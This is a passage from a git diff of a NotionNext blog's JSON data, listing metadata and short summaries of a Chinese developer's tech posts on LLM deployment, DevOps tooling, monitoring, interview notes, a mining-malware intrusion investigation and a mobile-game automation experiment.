痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG.json new file mode 100644 index 000000000..888abb0ca --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&width=800&fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"2024-3-22","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"2024-3-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":"","results":[]},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on 